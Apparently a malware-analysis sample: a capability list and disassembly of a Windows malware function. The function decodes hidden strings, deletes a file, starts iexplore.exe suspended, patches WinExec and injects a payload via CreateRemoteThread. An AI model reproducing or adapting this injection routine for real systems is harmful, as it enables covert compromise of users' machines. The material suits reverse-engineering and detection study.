Function at 0x40267e
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Delete file
Inject thread
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd6c
lea esi, [ebp - 0x228]
push esi
call sub.KERNEL32.DLL_GetLocalTime
mov word [esi], 0x7d0
push esi
call sub.KERNEL32.DLL_SetLocalTime
mov eax, dword [0x405404]
xor eax, 0xe4693478
mov dword [0x405404], eax
jmp 0x4026c7
mov eax, dword [0x405408]
xor eax, 0xd4c9a47c
mov dword [0x405408], eax
mov eax, dword [0x40540c]
xor eax, 0x30a09004
mov dword [0x40540c], eax
jmp 0x4026ff
mov eax, dword [0x405410]
xor eax, 0x6c158909
mov dword [0x405410], eax
mov eax, dword [0x405414]
xor eax, 0xc9f53b7b
mov dword [0x405414], eax
mov eax, dword [0x405418]
xor eax, 0x5a1f4d8d
mov dword [0x405418], eax
mov dword [ebp - 0x108], 0x6c64746e
jmp 0x402750
mov dword [ebp - 0x104], 0x6c642e6c
jmp 0x402774
mov dword [ebp - 0x100], 0x6c
mov dword [ebp - 0x210], ecx
lea eax, [ebp - 0x108]
push eax
call sub.KERNEL32.DLL_GetModuleHandleA
mov esi, eax
push 0x104
push pe_nt_image_headers32
call sub.KERNEL32.DLL_GlobalAlloc
mov dword [ebp - 4], eax
push 0x104
push eax
push esi
call sub.KERNEL32.DLL_GetModuleFileNameA
xor ecx, ecx
mov esi, dword [ebp - 4]
mov dword [esi + 0x14], 0x76697264
jmp 0x4027cf
mov dword [esi + 0x18], 0x5c737265
mov dword [esi + 0x1c], 0x70617461
jmp 0x4027f3
mov dword [esi + 0x20], 0x79732e69
mov dword [esi + 0x24], 0x73
push esi
call fcn.0040183b
mov esi, dword [ebp - 4]
mov eax, dword [esi]
and eax, 0xffffff
xor eax, 0x25000000
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], 0x25783830
jmp 0x40283c
mov dword [ebp - 0x100], 0x2e783830
jmp 0x402860
mov dword [ebp - 0xfc], 0x746164
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov ecx, dword [ebp - 0x210]
mul ecx
mov dword [ebp - 0x210], eax
mul ecx
xor eax, edx
mov dword [ebp - 0x214], eax
push dword [ebp - 0x214]
push dword [ebp - 0x210]
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push eax
call sub.user32.dll_wsprintfA
lea eax, [ebp - 0x20c]
push eax
call fcn.00401a7b
mov eax, dword [ebp - 0x209]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x205]
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x201]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x1fd]
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], 0
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00401000
lea eax, [ebp - 0x108]
push eax
call fcn.00401054
mov esi, eax
push esi
push 0x3e8
call sub.KERNEL32.DLL_Sleep
xor esi, esi
jmp 0x402932
push esi
call fcn.00401f8f
push 0x1f4
call sub.KERNEL32.DLL_Sleep
pop esi
inc esi
cmp esi, 5
jb 0x402920
lea eax, [ebp - 0x20c]
push eax
call sub.KERNEL32.DLL_DeleteFileA
pop esi
or esi, esi
je 0x402994
mov esi, dword [ebp - 4]
mov dword [esi + 0xb], 0x6c707865
mov dword [esi + 0xf], 0x7265726f
jmp 0x40296f
mov dword [esi + 0x13], 0x6578652e
nop
mov dword [esi + 0x17], 0
push esi
call fcn.0040134a
push 0x3e8
call sub.KERNEL32.DLL_Sleep
push esi
call fcn.0040134a
mov esi, dword [ebp - 4]
mov dword [esi + 3], 0x676f7250
nop
mov dword [esi + 7], 0x206d6172
mov dword [esi + 0xb], 0x656c6946
jmp 0x4029c3
mov dword [esi + 0xf], 0x6e495c73
mov dword [esi + 0x13], 0x6e726574
nop
mov dword [esi + 0x17], 0x45207465
mov dword [esi + 0x1b], 0x6f6c7078
mov eax, eax
mov dword [esi + 0x1f], 0x5c726572
mov dword [esi + 0x23], 0x70786569
jmp 0x402a06
mov dword [esi + 0x27], 0x65726f6c
mov dword [esi + 0x2b], 0x6578652e
mov dword [esi + 0x2f], 0
xor ecx, ecx
lea eax, [ebp - 0x238]
jmp 0x402a2f
mov dword [ecx + eax], 0
add ecx, 4
cmp ecx, 0x10
jb 0x402a25
mov dword [eax], 0x10
mov dword [ebp - 0x27c], 0x44
lea eax, [ebp - 0x27c]
push eax
call sub.KERNEL32.DLL_GetStartupInfoA
mov dword [ebp - 0x250], 1
mov word [ebp - 0x24c], 0
mov dword [ebp - 0x28c], 0x686f6e2d
nop
mov dword [ebp - 0x288], 0x656d6f
lea edi, [ebp - 0x238]
push edi
lea eax, [ebp - 0x27c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea eax, [ebp - 0x28c]
push eax
push dword [ebp - 4]
call sub.KERNEL32.DLL_CreateProcessA
mov eax, dword [edi]
mov dword [ebp - 0x290], eax
mov eax, dword [edi + 4]
mov dword [ebp - 0x294], eax
lea eax, [ebp - 0x294]
push eax
push dword [ebp - 0x294]
call sub.ntdll.dll_ZwResumeThread
nop
push 0x1f4
call sub.KERNEL32.DLL_Sleep
cmp dword [ebp - 0x290], 0
je 0x402b55
mov esi, dword [ebp - 0x290]
or esi, esi
je 0x402b55
lea edi, [sub.KERNEL32.DLL_WinExec]
mov edi, dword [edi + 2]
mov edi, dword [edi]
push 0
push 4
push 5
push edi
push esi
call sub.KERNEL32.DLL_VirtualProtectEx
push 0
push 5
push edi
push edi
push esi
call sub.KERNEL32.DLL_WriteProcessMemory
push pe_nt_image_headers32
push 0x1000
push dword [0x405410]
push 0
push esi
call sub.KERNEL32.DLL_VirtualAllocEx
mov edi, eax
or edi, edi
je 0x402b55
push 0
push dword [0x405410]
push 0x40541c
push edi
push esi
call sub.KERNEL32.DLL_WriteProcessMemory
add edi, dword [0x405410]
sub edi, dword [0x405418]
push 0
push 0
push 0
push edi
push 0x400
push 0
push esi
call sub.KERNEL32.DLL_CreateRemoteThread
xor eax, eax
inc eax
leave
ret